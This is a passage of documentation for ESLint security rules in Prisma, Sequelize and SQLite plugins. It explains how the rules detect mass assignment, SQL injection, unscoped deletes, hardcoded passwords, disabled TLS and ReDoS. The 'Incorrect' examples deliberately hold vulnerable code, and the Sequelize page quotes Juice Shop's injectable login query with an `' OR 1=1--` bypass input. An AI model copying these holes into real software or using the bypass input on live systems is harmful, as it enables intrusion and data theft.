✅ or validate into a typed object first const input = UserUpdate.parse(req.body); await prisma.user.update({ where: { id }, data: input }); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A payload that names its fields.** `{ name: req.body.name }` reads one value out of the request; it is the fix, and it is silent. Note that a named field *beside* a spread does not help — `{ ...req.body, updatedAt }` still carries everything the spread brought. * **An object that merely has a `body` or `query` key.** `form.body` and `config.query` are ordinary application objects. The chain has to bottom out in a request-shaped identifier (`req`, `request`, `ctx`, `context`, `event`). * **`ctx.data` / `context.data`.** `data` is ordinary application state in several frameworks, so it is not treated as a request surface — a deliberate false negative in exchange for not reporting code with no request in it. * **A value it cannot see through.** `repo.create(validated)` or `repo.create(buildInput(req))` may still be unsafe, but the rule cannot prove it and will not guess. Guessing is how a security rule earns a false-positive reputation. * **A file that never imports prisma.** The driver import is the gate that keeps this rule inside its own plugin. ## When Not To Use It [#when-not-to-use-it] There is no configuration in which handing the raw request to a write is correct, so this rule has no options — and deliberately so. An allowlist option would let a project re-approve the dangerous shape wholesale, one config file further from the call site, which is the same mistake with more steps. If a specific call is genuinely safe — an internal job with a payload you construct yourself — disable it there with a reason: ```ts // eslint-disable-next-line prisma-security/no-mass-assignment -- payload is built in-process, not from a request await prisma.user.update({ where: { id }, data: req.body }); ``` ## Further Reading [#further-reading] * [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) * [OWASP A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) * [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) # no-raw-identifier-interpolation **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects an identifier — a table, a column, a sort direction — interpolated into a `$queryRaw` or `$executeRaw` template. This rule is part of [`eslint-plugin-prisma-security`](https://www.npmjs.com/package/eslint-plugin-prisma-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] Prisma ships both spellings and names one of them "Unsafe": ```ts await prisma.$queryRawUnsafe(`SELECT * FROM ${table}`); // flagged by no-unsafe-query await prisma.$queryRaw`SELECT * FROM ${table}`; // flagged by this rule ``` A developer who moves from the first line to the second — exactly what the `Unsafe` suffix tells them to do — parameterizes every *value* in the query and leaves the identifier hole wide open. The migration feels like a fix. Nothing in Prisma's own tooling says otherwise. The reason is structural: **a bind parameter can only ever be a value.** `$1` is a placeholder in the value slot of the parse tree, and no database accepts one where a table, a column, or a sort direction belongs. So when the hole is an identifier, the driver has nothing to bind and splices the string in verbatim — inside the API the docs call safe. The remediation everyone knows, "use a parameter", is what the developer already believes they are doing, so this rule does not say it. Prisma has no identifier escaper, which leaves exactly one safe construction: map the input through a fixed allowlist, so what reaches the query is a string you wrote. ## ❌ Incorrect [#-incorrect] ```ts // ❌ table name from input await prisma.$queryRaw`SELECT * FROM ${table}`; // ❌ column name in ORDER BY await prisma.$queryRaw`SELECT * FROM users ORDER BY ${req.query.sort}`; // ❌ sort direction — two legal values, and neither is bindable await prisma.$queryRaw`SELECT * FROM users ORDER BY name ${dir}`; // ❌ $executeRaw carries the same hole await prisma.$executeRaw`UPDATE ${table} SET active = ${flag}`; ``` ## ✅ Correct [#-correct] ```ts // ✅ values — exactly what the template is for await prisma.$queryRaw`SELECT * FROM users WHERE id = ${id} LIMIT ${n}`; // ✅ let the query builder type it — no raw SQL, nothing to get wrong const column = ({ name: 'name', created: 'created_at' })[input] ?? 'id'; await prisma.user.findMany({ orderBy: { [column]: dir === 'desc' ? 'desc' : 'asc' } }); ``` ### If you must build the SQL yourself [#if-you-must-build-the-sql-yourself] An allowlist makes the *query* safe, but it does not make the *line* lint-clean: ```ts const column = ({ name: 'name', created: 'created_at' })[input] ?? 'id'; // eslint-disable-next-line prisma-security/no-unsafe-query -- column comes from a closed allowlist await prisma.$queryRawUnsafe(`SELECT * FROM users ORDER BY ${column}`); ``` `no-unsafe-query` reports every interpolation reaching `$queryRawUnsafe`, and it is right to: it cannot see that `column` was allowlisted. The disable is the honest way to say so, and it puts the reason next to the code. Reaching for it without the allowlist above is the mistake. ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **Every value position.** `WHERE id = ${id}`, `LIMIT ${n}`, `VALUES (${name})`, `SET a = ${v}` are what the tagged template parameterizes correctly. A rule that fired on the API's intended use is a rule that gets switched off. * **A literal.** `` $queryRaw`SELECT * FROM ${'users'}` `` is a constant you typed. There is no untrusted input in it. * **`$queryRawUnsafe` / `$executeRawUnsafe`.** Those belong to [`no-unsafe-query`](./no-unsafe-query.md), which reports every interpolation reaching them. Reporting them here as well would put two findings from one plugin on one line. ## Implementation note: why there is no import gate [#implementation-note-why-there-is-no-import-gate] `$queryRaw` is matched on the property name alone, with no requirement that the client be imported in the same file. The Prisma client is very often re-exported from a local module — ```ts import { prisma } from '@/lib/db'; ``` — so a rule that demanded an `@prisma/client` import would miss the shape that appears in most real codebases. The `$` prefix makes the property name specific enough to stand on its own. ## When Not To Use It [#when-not-to-use-it] There is no configuration where interpolating an identifier into a query is correct, so this rule has no options — which SQL positions accept a bind parameter is fixed by the database's grammar, not by project preference. If a specific line is genuinely a constant the analyzer cannot see through, disable it on that line with a reason rather than switching the rule off: ```ts // eslint-disable-next-line prisma-security/no-raw-identifier-interpolation -- TABLE is a module constant await prisma.$queryRaw`SELECT * FROM ${TABLE}`; ``` ## Further Reading [#further-reading] * [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) * [OWASP A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) * [Prisma: raw queries — considerations](https://www.prisma.io/docs/orm/prisma-client/using-raw-sql/raw-queries#considerations) # no-unsafe-query **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects SQL injection in Prisma raw queries. This rule is part of [`eslint-plugin-prisma-security`](https://www.npmjs.com/package/eslint-plugin-prisma-security). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Rule Details [#rule-details] Reports three shapes when they reach a raw-SQL sink: 1. String concatenation — `prisma.$queryRawUnsafe('SELECT ... ' + value)` 2. Template interpolation — ``prisma.$queryRawUnsafe(`SELECT ... ${value}`)`` 3. A variable tainted by either, including via `+=`, then passed to a sink ### Sinks [#sinks] `$queryRawUnsafe()` and `$executeRawUnsafe()` only. The safe `$queryRaw` / `$executeRaw` tagged templates parameterize their interpolations and are a different AST node, so they can never be reported. ### ❌ Incorrect [#-incorrect] ```typescript await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE id = ${userId}`); await prisma.$queryRawUnsafe('SELECT * FROM users WHERE email = ' + email); let sql = 'SELECT * FROM products WHERE 1=1'; sql += ` AND name = '${name}'`; await prisma.$queryRawUnsafe(sql); ``` ### ✅ Correct [#-correct] ```typescript await prisma.$queryRaw`SELECT * FROM User WHERE email = ${email}`; ``` ## Known limitations [#known-limitations] * Only identifier member access is matched, so `prisma['$queryRawUnsafe'](...)` is a false negative. * Taint tracking is single-scope and name-based — it does not follow a query string across function boundaries. ## Implementation [#implementation] The detection is shared across the driver plugins via `createSqlInjectionRule` in `@interlace/eslint-devkit`; this rule supplies Prisma's sinks and remediation copy. Install the plugin matching your stack and you get exactly one finding per line. ## Further Reading [#further-reading] * [Prisma — parameterized queries](https://www.prisma.io/docs/orm/prisma-client/queries/raw-database-access/raw-queries#queryrawunsafe) * [OWASP — SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * [CWE-89](https://cwe.mitre.org/data/definitions/89.html) # no-unscoped-mutation **CWE:** [CWE-284](https://cwe.mitre.org/data/definitions/284.html) **OWASP:** [A01:2021 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) Detects Prisma bulk mutations that reach every row in the table. This rule is part of [`eslint-plugin-prisma-security`](https://www.npmjs.com/package/eslint-plugin-prisma-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-284](https://cwe.mitre.org/data/definitions/284.html) (Improper Access Control) | | **Severity** | High (CVSS 7.5) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] A bulk mutation without a filter is one forgotten clause away from rewriting or deleting the entire table. It type-checks, it passes review, and it usually only shows up once it has run against production data. Prisma has no instance-mutation methods, so `deleteMany()` is always the bulk form and a call with no filter is always unscoped. ## ❌ Incorrect [#-incorrect] ```ts // Deletes every user in the table await prisma.user.deleteMany(); // Empty options is not a filter await prisma.user.deleteMany({}); // Grants admin to every row await prisma.user.updateMany({ data: { role: 'admin' } }); ``` ## ✅ Correct [#-correct] ```ts await prisma.user.deleteMany({ where: { active: false } }); await prisma.user.updateMany({ where: { authorId }, data: { role: 'admin' }, }); // Single-record operations are inherently scoped await prisma.user.delete({ where: { id } }); ``` ## Known limitations [#known-limitations] This rule reports only what it can prove. Scope that cannot be read statically is treated as present, so the rule stays silent rather than guessing. A filter built elsewhere (`prisma.user.deleteMany(buildFilter(req.query))`) cannot be read statically and is deliberately not reported — see [Known limitations](#known-limitations). ## When not to use it [#when-not-to-use-it] Disable this rule in maintenance scripts, seeders, and test fixtures whose job is to clear a table. Prefer a scoped `eslint-disable-next-line` on the specific call over switching the rule off for the whole project. ## Further reading [#further-reading] * [Prisma documentation](https://www.prisma.io/docs/orm/prisma-client/queries/crud#delete-all-records) * [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html) # no-hardcoded-credentials **CWE:** [CWE-798](https://cwe.mitre.org/data/definitions/798.html) **OWASP:** [A07:2021 – Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) Detects a database password written as a literal — as a config property, or embedded in a connection URL. This rule is part of [`eslint-plugin-sequelize-security`](https://www.npmjs.com/package/eslint-plugin-sequelize-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-798](https://cwe.mitre.org/data/definitions/798.html) (Use of Hard-coded Credentials) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] A password in source is a password in git history, in every fork and clone, in every CI log that prints the file, and in every layer of the built image. That is what separates it from most findings: it does not stop being true when you fix it. Deleting the line in a follow-up commit changes nothing — the secret is still one `git log -p` away for anyone who has ever had read access. A real fix means rotating the credential *and* rewriting history, which is expensive enough that in practice it does not happen. The only cheap moment is before the line is committed, which is where this rule sits. ## ❌ Incorrect [#-incorrect] ```ts // ❌ literal password new Sequelize({ dialect: 'postgres', host, username, password: 'hunter2' }); // ❌ the same secret, hidden in a URL new Sequelize('postgres://app:s3cret@db.internal/app'); ``` ## ✅ Correct [#-correct] ```ts // ✅ read from the environment new Sequelize({ dialect: 'postgres', host, username, password: process.env.DB_PASSWORD }); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A connection URL with no credentials in it.** `postgres://localhost:5432/app` and `postgres://app@db.internal/app` are safe to commit. Only the `user:pass@` userinfo form is a finding. * **An empty password.** `password: ''` is the "no password" sentinel for local trust-auth setups. Reporting it teaches people the rule cries wolf. * **Any runtime value** — `process.env.DB_PASSWORD` (the fix), a template literal, a variable. If the analyzer cannot see the value, there is no secret in the file. * **A login or signup form.** `{ user, password }` and `{ password, confirm }` are not connection configs. The credential cannot be its own evidence that an object connects to a database — the object has to name somewhere to connect *to* (`host`, `port`, `database`, `connectionString`) before its password counts. Without that rule, every app with a login form and a database reports. * **A file that never imports sequelize.** The driver import is the gate that keeps this rule inside its own plugin; generic secret scanning belongs to a dedicated tool. ## When Not To Use It [#when-not-to-use-it] There is no configuration in which committing a database password is correct, so this rule has no options. If a specific line is genuinely a throwaway — a docker-compose fixture, an integration test against an ephemeral container — disable it there with a reason rather than switching the rule off: ```ts // eslint-disable-next-line sequelize-security/no-hardcoded-credentials -- ephemeral test container new Sequelize({ dialect: 'postgres', host, username, password: 'hunter2' }); ``` ## Further Reading [#further-reading] * [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) * [OWASP A07:2021 – Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) * [OWASP: Use of hard-coded password](https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password) # no-mass-assignment **CWE:** [CWE-915](https://cwe.mitre.org/data/definitions/915.html) **OWASP:** [A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) Detects an inbound request object — or a spread of one — reaching a Sequelize write. This rule is part of [`eslint-plugin-sequelize-security`](https://www.npmjs.com/package/eslint-plugin-sequelize-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-915](https://cwe.mitre.org/data/definitions/915.html) (Improperly Controlled Modification of Dynamically-Determined Object Attributes) | | **Severity** | High (CVSS 8.1) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] ```ts await User.create(req.body); ``` That line updates the fields the endpoint is *about*. It also updates every other column on the model: `role`, `isAdmin`, `ownerId`, `emailVerified`, `credits`, `stripeCustomerId`. None of them appear in the diff, which is why this passes review — the vulnerability is in what the code does not say. It is also one of the few defects that gets worse without anyone touching it. Add a `role` column to the model six months from now and every existing mass-assignment site silently starts accepting it. No line changes; the exposure is new. That is what makes this worth a lint rule rather than a code review habit. Sequelize has a built-in allowlist for exactly this: `{ fields: [...] }` on `create` and `update` limits what the call may write, and it is the cheapest correct fix when the payload is otherwise fine. ## ❌ Incorrect [#-incorrect] ```ts // ❌ the whole request object await User.create(req.body); // ❌ spreading it is the same thing await user.update({ ...req.body }); ``` ## ✅ Correct [#-correct] ```ts // ✅ name the columns this endpoint owns await User.create({ name: req.body.name, email: req.body.email }); // ✅ or validate into a typed object first await User.create(req.body, { fields: ['name', 'email'] }); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A payload that names its fields.** `{ name: req.body.name }` reads one value out of the request; it is the fix, and it is silent. Note that a named field *beside* a spread does not help — `{ ...req.body, updatedAt }` still carries everything the spread brought. * **An object that merely has a `body` or `query` key.** `form.body` and `config.query` are ordinary application objects. The chain has to bottom out in a request-shaped identifier (`req`, `request`, `ctx`, `context`, `event`). * **`ctx.data` / `context.data`.** `data` is ordinary application state in several frameworks, so it is not treated as a request surface — a deliberate false negative in exchange for not reporting code with no request in it. * **A value it cannot see through.** `repo.create(validated)` or `repo.create(buildInput(req))` may still be unsafe, but the rule cannot prove it and will not guess. Guessing is how a security rule earns a false-positive reputation. * **A file that never imports sequelize.** The driver import is the gate that keeps this rule inside its own plugin. ## When Not To Use It [#when-not-to-use-it] There is no configuration in which handing the raw request to a write is correct, so this rule has no options — and deliberately so. An allowlist option would let a project re-approve the dangerous shape wholesale, one config file further from the call site, which is the same mistake with more steps. If a specific call is genuinely safe — an internal job with a payload you construct yourself — disable it there with a reason: ```ts // eslint-disable-next-line sequelize-security/no-mass-assignment -- payload is built in-process, not from a request await User.create(req.body); ``` ## Further Reading [#further-reading] * [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html) * [OWASP A04:2021 – Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) * [OWASP: Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) # no-unsafe-query **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects SQL injection in Sequelize's two raw-SQL escapes. This rule is part of [`eslint-plugin-sequelize-security`](https://www.npmjs.com/package/eslint-plugin-sequelize-security). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this rule exists [#why-this-rule-exists] An ORM is not a defence against SQL injection — it just narrows the surface to the raw escapes. OWASP Juice Shop's two flagship injections are both `sequelize.query()` template literals: ```typescript // routes/search.ts — full product table disclosure via UNION models.sequelize.query( `SELECT * FROM Products WHERE ((name LIKE '%${criteria}%' ...`, ); // routes/login.ts — authentication bypass with ' OR 1=1-- models.sequelize.query( `SELECT * FROM Users WHERE email = '${req.body.email}' ...`, ); ``` Both are pinned as test cases in this rule's suite. ## Rule Details [#rule-details] Reports three shapes when they reach a raw-SQL sink: 1. String concatenation — `sequelize.query('SELECT ... ' + value)` 2. Template interpolation — ``sequelize.query(`SELECT ... ${value}`)`` 3. A variable tainted by either, including via `+=`, then passed to a sink ### Sinks [#sinks] * `sequelize.query()` — raw SQL execution * `Sequelize.literal()` — raw SQL spliced into a builder query, the usual `ORDER BY` / column-name injection Both names are matched by method name, so `models.sequelize.query(...)` and a destructured `literal(...)` assigned to an object property both report. There is no SQL-keyword filter: a `literal()` holding nothing but an interpolated column name is a real injection, and carries no SQL keyword of its own. ### ❌ Incorrect [#-incorrect] ```typescript // Interpolated raw query await sequelize.query(`SELECT * FROM Users WHERE id = ${userId}`); // Concatenated raw query await sequelize.query('DELETE FROM Sessions WHERE token = ' + token); // ORDER BY injection through literal() Product.findAll({ order: Sequelize.literal(`${sortColumn} DESC`) }); // Built up across statements let sql = 'SELECT * FROM Products WHERE 1=1'; sql += ` AND name = '${name}'`; await sequelize.query(sql); ``` ### ✅ Correct [#-correct] ```typescript // Named replacements await sequelize.query('SELECT * FROM Users WHERE id = :id', { replacements: { id: userId }, }); // Bind parameters (sent to the driver, never interpolated) await sequelize.query('SELECT * FROM Users WHERE email = $1', { bind: [email], }); // Let the query builder generate the SQL await User.findAll({ where: { id: userId } }); // ORDER BY against an allowlist, not user input const column = ALLOWED_SORTS.includes(sortColumn) ? sortColumn : 'createdAt'; Product.findAll({ order: [[column, 'DESC']] }); ``` ## Known limitations [#known-limitations] * Only identifier member access is matched, so `sequelize['query'](...)` is a false negative. * Taint tracking is single-scope and name-based — it does not follow a query string across function boundaries. * `Sequelize.literal()` is matched by method name. A same-named method on an unrelated object in a Sequelize codebase would also report. ## When Not To Use It [#when-not-to-use-it] * In migration or seed files whose SQL is fully static and never sees user input. ## Implementation [#implementation] The detection is shared across the driver plugins via `createSqlInjectionRule` in `@interlace/eslint-devkit`; this rule supplies Sequelize's sinks and Sequelize's remediation copy. `pg/no-unsafe-query` is the same detector with the pg sink and `$1, $2` guidance — install the one matching your stack and you get exactly one finding per line. ## Further Reading [#further-reading] * [Sequelize — Raw queries and replacements](https://sequelize.org/docs/v7/querying/raw-queries/) * [OWASP — SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * [CWE-89](https://cwe.mitre.org/data/definitions/89.html) # require-tls **CWE:** [CWE-319](https://cwe.mitre.org/data/definitions/319.html) **OWASP:** [A02:2021 – Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) Detects Sequelize connection configuration that turns TLS off, or that keeps encryption but stops authenticating the server. This rule is part of [`eslint-plugin-sequelize-security`](https://www.npmjs.com/package/eslint-plugin-sequelize-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-319](https://cwe.mitre.org/data/definitions/319.html) (Cleartext Transmission of Sensitive Information) | | **Severity** | High (CVSS 7.4) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] A database connection carries more sensitive data than almost anything else in an application: every query, every row that comes back, and the credentials used to open the session. With TLS off, all of it is readable by anything on the path — a shared VPC, a misconfigured load balancer, a compromised sidecar. The second failure is subtler and more common. `rejectUnauthorized: false` leaves encryption on, so a packet capture looks fine, but the client no longer checks *who* it is talking to. It will happily complete a handshake with an attacker who answered in the database's place, hand over the credentials, and proxy every query. This is why the two cases are reported separately: the fix for the first is "turn TLS on", and the fix for the second is "supply the CA", never "switch the check off". Sequelize passes TLS settings through to the underlying driver via `dialectOptions`, so the dangerous property sits two levels down. That nesting is followed; an arbitrary nested object is not searched for stray `ssl` keys. ## ❌ Incorrect [#-incorrect] ```ts import { Sequelize } from 'sequelize'; // ❌ encrypted, unverified — the single most common Sequelize TLS mistake, // usually left behind after making a self-signed cert work in staging const db = new Sequelize({ dialect: 'postgres', dialectOptions: { ssl: { rejectUnauthorized: false } }, }); // ❌ plaintext const db2 = new Sequelize({ dialect: 'mysql', dialectOptions: { ssl: false } }); ``` ## ✅ Correct [#-correct] ```ts import { Sequelize } from 'sequelize'; // ✅ TLS required and the CA supplied const db = new Sequelize({ dialect: 'postgres', dialectOptions: { ssl: { require: true, ca: fs.readFileSync(caPath) } }, }); ``` ## What this rule deliberately does not report [#what-this-rule-deliberately-does-not-report] * **A value it cannot read.** `ssl: useTls` or `ssl: process.env.DB_SSL === '1'` is a decision made at runtime. Guessing there is how a security rule earns a false-positive reputation, so the rule stays silent — a deliberate false negative in exchange for findings that are always real. * **A TLS key with no connection-shaped neighbour.** `{ rejectUnauthorized: false }` on its own is an https agent or a fetch option, not a database connection. That belongs to `eslint-plugin-node-security`, and reporting it here would double-report the same line from two plugins. * **A file that never imports Sequelize.** The driver import is the gate that keeps this rule inside its own plugin. ## When Not To Use It [#when-not-to-use-it] Local development against a database on the same host — a docker-compose Postgres reached over a loopback socket — has no network to protect. Disable the rule for those files rather than for the project, so the production configuration stays covered: ```js // eslint.config.js export default [ { // Filename-scoped on purpose. A directory glob such as `docker/**` would // also switch the rule off for production connection code that happens to // live there, which is the configuration this rule exists to protect. files: ['**/*.local.ts'], rules: { 'sequelize-security/require-tls': 'off' }, }, ]; ``` ## Further Reading [#further-reading] * [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html) * [CWE-295: Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html) — the weakness behind the `certificateValidationDisabled` finding * [OWASP A02:2021 – Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) * [Sequelize connection options](https://sequelize.org/docs/v6/other-topics/dialect-specific-things/#postgresql) # no-unsafe-query **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects SQL injection in SQLite raw queries. This rule is part of [`eslint-plugin-sqlite-security`](https://www.npmjs.com/package/eslint-plugin-sqlite-security). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Rule Details [#rule-details] Reports three shapes when they reach a raw-SQL sink: 1. String concatenation — `db.prepare('SELECT ... ' + value)` 2. Template interpolation — ``db.prepare(`SELECT ... ${value}`)`` 3. A variable tainted by either, including via `+=`, then passed to a sink ### Sinks [#sinks] `.prepare()`, `.exec()`, `.run()`, `.all()` and `.get()`. Several of these are common method names outside SQLite, so a finding also requires a SQL keyword in the static text. Because several of these are common method names outside SQLite, a finding additionally requires a SQL keyword (`SELECT`, `INSERT`, `UPDATE`, `DELETE`, `FROM`, `WHERE`, `VALUES`, …) in the **static** part of the string. ### ❌ Incorrect [#-incorrect] ```typescript await db.prepare(`SELECT * FROM users WHERE id = ${userId}`); await db.prepare('SELECT * FROM users WHERE email = ' + email); let sql = 'SELECT * FROM products WHERE 1=1'; sql += ` AND name = '${name}'`; await db.prepare(sql); ``` ### ✅ Correct [#-correct] ```typescript db.prepare('SELECT * FROM users WHERE id = ?').get(userId); ``` ## Known limitations [#known-limitations] * Only identifier member access is matched, so `db['prepare'](...)` is a false negative. * Taint tracking is single-scope and name-based — it does not follow a query string across function boundaries. ## Implementation [#implementation] The detection is shared across the driver plugins via `createSqlInjectionRule` in `@interlace/eslint-devkit`; this rule supplies SQLite's sinks and remediation copy. Install the plugin matching your stack and you get exactly one finding per line. ## Further Reading [#further-reading] * [SQLite — parameterized queries](https://github.com/WiseLibs/better-sqlite3/blob/master/docs/api.md#binding-parameters) * [OWASP — SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * [CWE-89](https://cwe.mitre.org/data/definitions/89.html) # detect-non-literal-regexp **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects `RegExp(variable)`, which might allow an attacker to DOS your server with a long-running regular expression. This rule is part of [`eslint-plugin-secure-coding`](https://www.npmjs.com/package/eslint-plugin-secure-coding) and provides LLM-optimized error messages with fix suggestions. **🚨 Security rule** | **💡 Provides LLM-optimized guidance** | **⚠️ Set to error in `recommended`** ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) (ReDoS - Regular Expression Denial of Service) | | **Severity** | High (performance/security issue) | | **Auto-Fix** | ⚠️ Suggests fixes (manual application) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Applications processing user input with regex, validation libraries | ## Value & investment case [#value--investment-case] > Why this rule pays for itself. Framework: [`cicd-impact/philosophy.md`](../../../../cicd-impact/philosophy.md). | Dimension | Value | | :--------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **CWE** | [CWE-400](https://cwe.mitre.org/data/definitions/400.html) — Uncontrolled Resource Consumption (ReDoS) | | **Feedback-loop tier** | Editor / pre-commit (sub-second) — cheapest layer per the [feedback-loop hierarchy](../../../../cicd-impact/philosophy.md#the-feedback-loop-hierarchy--why-a-high-end-static-analyzer-is-the-highest-leverage-investment) | | **Defensive-layer leverage** | \~10× cheaper than unit-test · \~1,000× cheaper than production rollback · 10,000+× cheaper than customer disclosure ([cost-ratio anchors](../../../../cicd-impact/philosophy.md#deliverability-axis--quality-risk-and-ma-diligence)) | | **Niche relevance** | **Critical:** fintech, infra/devtools (downstream consumers of vulnerable libraries) · **High:** B2B SaaS, cybersecurity · **Medium:** B2C, marketplaces · **Low:** gaming | | **Investor-frame impact** | A single ReDoS in a fintech / B2B SaaS production system = an outage event with regulatory and ARR-at-risk exposure ($50K–$500K typical incident cost). One catch at lint-time costs \~$0 of CI minutes. See [Acme Pay walk-through](../../../../cicd-impact/worked-example.md). | **Read also:** [`philosophy.md` §investor-frame](../../../../cicd-impact/philosophy.md#the-investor-frame--engineering-efficiency-as-a-portfolio-metric) · [`niche-presets.json`](../../../../cicd-impact/data/niche-presets.json) · [`analyzer-evaluation-framework.md`](../../../../cicd-impact/analyzer-evaluation-framework.md) ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Creating regular expressions from dynamic, untrusted input (e.g., using `new RegExp()`) can lead to the creation of complex or malicious patterns. **Risk:** Attackers can craft regular expressions that cause catastrophic backtracking (ReDoS - Regular Expression Denial of Service), leading to high CPU usage and making the application unresponsive. In some cases, it might also allow for bypassing validation logic. ## Rule Details [#rule-details] This rule detects dangerous use of RegExp constructor with dynamic patterns that can lead to Regular Expression Denial of Service (ReDoS) attacks. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Detect RegExp Call"] --> B{"Dynamic Pattern?"} B -->|Yes| C["🚨 ReDoS Risk"] B -->|No| D["✅ Literal Pattern - Safe"] C --> E{"Contains ReDoS Patterns?"} E -->|Nested Quantifiers| F["⚠️ Exponential Backtracking"] E -->|Complex Groups| G["⚠️ Potential ReDoS"] E -->|Simple Dynamic| H["⚠️ General Risk"] F --> I["💡 Suggest restructure"] G --> I H --> J["💡 Suggest static patterns"] I --> K["📝 LLM-Optimized Guidance"] J --> K ``` ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-400 OWASP:A06 CVSS:7.5 | Uncontrolled Resource Consumption (ReDoS) detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A06_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | 